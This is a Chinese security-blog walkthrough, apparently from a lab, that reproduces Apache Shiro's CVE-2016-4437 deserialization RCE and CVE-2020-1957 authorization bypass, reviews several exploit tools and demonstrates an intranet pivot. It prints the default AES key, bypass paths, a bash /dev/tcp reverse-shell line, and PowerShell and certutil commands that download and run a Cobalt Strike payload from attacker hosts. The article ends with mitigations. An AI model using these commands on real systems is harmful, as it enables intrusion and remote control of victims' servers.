前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >框架安全之Shiro渗透复现

框架安全之Shiro渗透复现

作者头像
FB客服
发布2021-07-02 16:26:17
2.7K0
发布2021-07-02 16:26:17
举报
文章被收录于专栏:FreeBufFreeBuf

本篇文章是Shiro框架复现记录,记录了实际中常见的Shiro框架漏洞并如何利用,对漏洞底层的原理简单分析,主要分为五个部分:Shiro简单介绍、相关环境搭建、漏洞复现、工具介绍和自建内网环境实战。 本篇文章由浅入深地复现了两个经典漏洞及介绍五个Shiro渗透工具,相关参考文章也在文中有列出。此外,文中也可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Shiro渗透之路学习!

一、Shiro简介

1、Shiro介绍

Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理,具有以下特点:

易于使用——易用性是项目的最终目标。应用程序安全非常令人困惑和沮丧,被认为是“不可避免的灾难”。如果你让它简化到新手都可以使用它,它就将不再是一种痛苦了。

全面——没有其他安全框架的宽度范围可以同Apache Shiro一样,它可以成为你的“一站式”为您的安全需求提供保障。

灵活——Apache Shiro可以在任何应用程序环境中工作。虽然在网络工作、EJB和IoC环境中可能并不需要它。但Shiro的授权也没有任何规范,甚至没有许多依赖关系。

Web支持——Apache Shiro拥有令人兴奋的web应用程序支持,允许您基于应用程序的url创建灵活的安全策略和网络协议(例如REST),同时还提供一组JSP库控制页面输出。

低耦合——Shiro干净的API和设计模式使它容易与许多其他框架和应用程序集成。你会看到Shiro无缝地集成Spring这样的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。

被广泛支持——Apache Shiro是Apache软件基金会的一部分。项目开发和用户组都有友好的网民愿意帮助。这样的商业公司如果需要Katasoft还提供专业的支持和服务。

2、Shiro漏洞原理

Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其CookieKey的值为RememberMeValue的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

检索RememberMe Cookie的值

进行Base64解码

进行AES解码

进行反序列化操作

在第4步中的调用反序列化时未进行任何过滤,进而可以导致触发远程代码执行漏洞。

由于使用了AES加密,成功利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:

代码语言:javascript
复制
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。

3、Shiro漏洞指纹

代码语言:javascript
复制
响应包中存在字段set-Cookie: rememberMe=deleteMe

二、环境搭建

1、Java1.8安装

下载地址:[https://www.java.com/zh-CN/download/](https://www.java.com/zh-CN/download/)

默认下一步安装即可

2、Tomcat8.x安装

下载地址:[https://tomcat.apache.org/download-80.cgi](https://tomcat.apache.org/download-80.cgi)

默认下一步安装即可

3、部署Shiro war包

whiro.war包放置C:\Tomcat 8.5\webapps\目录下

开启Tomcat

访问网址:192.168.112.151:8080,该ip是环境自身ip地址

4、漏洞环境搭建

这里使用vulhub靶场进行Spring渗透学习

0x01 Docker环境安装

参考:vulhub漏洞环境搭建

1、安装Docker

代码语言:javascript
复制
sudo apt install curlcurl -s https://get.docker.com/ | sh

2、安装python和pip

代码语言:javascript
复制
sudo apt install pythoncurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python get-pip.py

3、安装docker-compose

代码语言:javascript
复制
pip install docker-composesudo apt install docker-composedocker-compose -v
0x02 vulhub靶场安装
代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.gitcd vulhub/httpd/CVE-2017-15715/sudo docker-compose build       # 构建sudo docker-compose up -d       # 命令启动容器docker ps                       # 查看正在运行的容器sudo docker exec -it b5975a1a5bfe /bin/bash  # 进入docker容器内

本机IP为192.168.112.141 参考:Docker容器进入的4种方式

三、漏洞复现

以复现操作为主,底层原理解析见之后的文章

1、Apache Shiro反序列化漏洞(CVE-2016-4437)

AES密钥猜解RCE

0x01 漏洞概述

Shiro框架下,用户登陆成功后会生成一个经过加密的Cookie。其CookieKey的值为RememberMeValue的值是经过序列化、AES加密和Base64编码后得到的结果。AES的加密密钥为硬编码,导致攻击者可以构造恶意数据造成反序列化RCE漏洞

影响版本:

代码语言:javascript
复制
Shiro < 1.2.5
0x02 漏洞指纹

响应包中存在字段set-Cookie: rememberMe=deleteMe

0x03 漏洞利用

1)使用工具进行AES密钥猜解

2)使用工具命令执行

0x04 自动化工具及上线CS

这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce,传送门

利用条件:shiro <= 1.2.4

使用延时判断keygadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性:

  1. Key可修改添加
  2. 具有延时功能
  3. 执行的命令使用了Base64编码
  4. 区分LinuxWindows

使用方法:

输入python3 shiro-1.2.4_rce.py [http://192.168.112.151:8080/shiro/](http://192.168.112.151:8080/shiro/)这里的IP是刚刚在Win7上搭建的环境的IP

执行calc,远程打开目标主机上的计算器程序

注意点:这里命令是自动编制执行的,仍可执行,但是无回显

上线CS:

由于上述自动化工具没有回显,这里尝试上线到CS后进一步渗透

1)开启teamserver

代码语言:javascript
复制
teamserver 192.168.112.145 1111

2)生成木马文件

开启python简易http服务,但是我这win7没安装python,就将该木马文件放到kali上,在开启简易http用于传输

3)Kali上开启python简易HTTP服务

代码语言:javascript
复制
python -m SimpleHTTPServer 8008

4)结合之前得到的shell上线CS

代码语言:javascript
复制
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe

2、 Apache Shiro权限绕过漏洞(CVE-2020-1957)

越权访问

参考:Shiro 权限绕过漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)

0x01 漏洞概述

Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。

anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。authc为登陆拦截器,需要登陆才可以访问。

用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。即访问/index时无需登陆,而访问/user/test时需要登陆认证。

代码语言:javascript
复制
#Shiro.ini/index = anon/user/** = authc------Ant格式:?:匹配一个字符*:匹配零个或多个字符串**:匹配路径中的零个或多个路径

这里的/**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。那么假设配置内改为:/user/* = authc,则可以匹配到/user/test但无法匹配到/user/test/(多了个斜杆),那么就会放行/user/test/。然后进入到Spring(Servlet)拦截器中,对于Spring,上述两个路径都是一致的,于是就造成了权限绕过。

影响版本:

代码语言:javascript
复制
Shiro < 1.5.3
0x02 漏洞环境

这里简单搭建环境测试下

1)拉取镜像

代码语言:javascript
复制
docker pull vulfocus/shiro-cve_2020_1957

2)查看并开启docker

代码语言:javascript
复制
docker imagesdocker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61docker ps

3)访问靶机,开启成功

0x03 漏洞利用

1)访问/hello/1,返回302重定向信息

代码语言:javascript
复制
/hello/1

2)访问/hello/1/,成功绕过authc拦截器

代码语言:javascript
复制
/hello/1/

除此之外,还可以使用下面的payload

代码语言:javascript
复制
/abcd;/../hello/1
0x04 类似漏洞

类似的漏洞还有CVE-2020-11989、CVE-2020-13933

四、Shiro渗透工具介绍

测试靶机地址信息:

代码语言:javascript
复制
Win7搭建:192.168.112.151http://192.168.112.151:8080/shiro/Linux Vulhub
靶机:192.168.112.141http://192.168.112.141:8080

1、shiro反序列化漏洞综合利用工具v1.5

猜解Key和命令执行,对Linux较友好

工具截图:

工具使用:

该工具主要给用于测试,上手简单,将目标地址填入对应栏即可

经测试Windows环境下有点小问题,能猜解Key但是无法命令注入

在Linux下使用体验较好

2、Shiro反序列化回显工具v2.3

猜解Key,效果一般

工具截图:该工具可自行添加Key

工具使用:

上手也是挺简单的,将key文件导入至Key框中,选择默认DNSLOG即可,开始检测。

不过体验时经常会找不到key

3、Shiro命令执行工具-雷石安全实验室

猜解Key,内置117个Key

工具截图:

工具使用:

填入url,点击DNSLOG检测

4、Shiro550/721漏洞检测v2.51

用于外网的Key猜解及getshell,对Linux较友好

工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

工具截图:

工具使用:

添加目标地址[http://192.168.112.151:8080/shiro/](http://192.168.112.151:8080/shiro/),点击下一步,选择dnslog.cn进行漏洞检测,点击下一步进行猜解。

获取到Key值后,该工具提供了三种方式进行下一步的渗透,具体如下:

代码语言:javascript
复制
反弹Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令获取shell反弹Shell(Windows):采用 bitsadmin下载指定URL的exe可执行文件执行功能获取shell获取Webshell 在给出的路径中写入webshell,webshell的内容在config目录下的shell.jsp中

这里选择反弹Shell(Linux),下面结合Kali获取到shellkali端开启监听,在命令行中写入kali的地址及端口号。

选择反弹Shell(Windows)进行尝试,这里先启动了CS、python简易服务器,按照命令格式,输入下载exe文件的url,但是并未成功。看到下面有一行代码,测试直接在装有shiro主机处是否有效。

代码语言:javascript
复制
certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe

结果上线CS成功,说明该工具在命令执行这方面还是有点小bug

测试获取Webshell选项,同样是有点小问题。

5、shiro-1.2.4-rce

可用于内网猜解Key,对Linux和Windows都支持较好

这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce

工具地址:https://github.com/zhzyker/shiro-1.2.4-rce)

工具截图:

利用条件:shiro <= 1.2.4

使用延时判断keygadget,即使目标不出网也可以检测是否存在漏洞。Python脚本需要调用ysoserial-sleep.jar,这里的ysoserial-sleep.jar文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial,否则将无法检测。该工具具有4个特性

Key可修改添加

具有延时功能

执行的命令使用了Base64编码

区分LinuxWindows

工具使用:

代码语言:javascript
复制
python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/

这里的IP是刚刚在Win7上搭建的环境的IP

选择操作系统,这里选择Windows。如果未知操作系统类型,可以随便选一个,错了再跑一遍即可。

执行calc,远程打开目标主机上的计算器程序

注意点:这里命令是自动编制执行的,仍可执行,但是无回显

五、内网Shiro渗透|上线CS

1、环境配置信息

代码语言:javascript
复制
内网主机搭建了shiro框架10.10.10.100内网对外服务器充当一个跳板10.10.10.11192.168.112.157公网服务器用于和内网连接192.168.112.145Kali Linux192.168.112.149

2、实验模拟过程

1)获取内网服务器并上线CS

重点在于后面内网主机的获取,这里直接假设获取了服务器的权限并上线了CS

2)建立frp代理

代码语言:javascript
复制
frps.exe -c frps.inifrpc.exe -c frpc.ini

这里设置有点小问题,frps.ini中的bind_addr应该设置为0.0.0.0接收全部地址的请求。但是这里也能进行下去,我思考下

在公网服务器上开启Proxifier代理隧道

3)Kali通过代理使用脚本进行Attack

配置proxychains.conf

代码语言:javascript
复制
vi /etc/proxychains4.conf

执行攻击脚本

代码语言:javascript
复制
proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/

成功猜解到加密密钥,得到一个shell框

下一步就是上线CS了

4)创建中转监听器

选择监听器和监听主机(这里的监听主机Host需要改为内网的地址)

5)生成木马

选择中转监听器

6)内网主机上线CS

将该木马文件放到内网服务器目录上(由于这里没有服务器目录,使用开启python简易服务器进行模拟,传输木马文件)

代码语言:javascript
复制
python -m http.server 80

输入命令,上线CS

代码语言:javascript
复制
powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe

遗憾的是这里还是有点小bug,没能复现成功,但基本思路就是这样

六、总结

Shiro框架使用了AES对称加密技术,故其加密密钥与解密密钥一致,并且密钥是硬编码在代码中的,容易获取。也就是说在获取了密钥之后可以通过构建恶意的Cookie获取权限执行攻击命令,得到root权限。解决措施就是升级Shiro版本至shiro1.2.5以上。而对于最近出现的shiro权限绕过漏洞,应需尽量避免使用*通配符作为动态路由拦截器的URL路径表达式或者升级shiro1.5.2版本以上。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、Shiro简介
    • 1、Shiro介绍
      • 2、Shiro漏洞原理
        • 3、Shiro漏洞指纹
        • 二、环境搭建
          • 1、Java1.8安装
            • 2、Tomcat8.x安装
              • 3、部署Shiro war包
                • 4、漏洞环境搭建
                  • 0x01 Docker环境安装
                  • 0x02 vulhub靶场安装
              • 三、漏洞复现
                • 1、Apache Shiro反序列化漏洞(CVE-2016-4437)
                  • 0x01 漏洞概述
                  • 0x02 漏洞指纹
                  • 0x03 漏洞利用
                  • 0x04 自动化工具及上线CS
                • 2、 Apache Shiro权限绕过漏洞(CVE-2020-1957)
                  • 0x01 漏洞概述
                  • 0x02 漏洞环境
                  • 0x03 漏洞利用
                  • 0x04 类似漏洞
              • 四、Shiro渗透工具介绍
                • 1、shiro反序列化漏洞综合利用工具v1.5
                  • 2、Shiro反序列化回显工具v2.3
                    • 3、Shiro命令执行工具-雷石安全实验室
                      • 4、Shiro550/721漏洞检测v2.51
                        • 5、shiro-1.2.4-rce
                        • 五、内网Shiro渗透|上线CS
                          • 1、环境配置信息
                            • 2、实验模拟过程
                            • 六、总结
                            相关产品与服务
                            文件存储
                            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档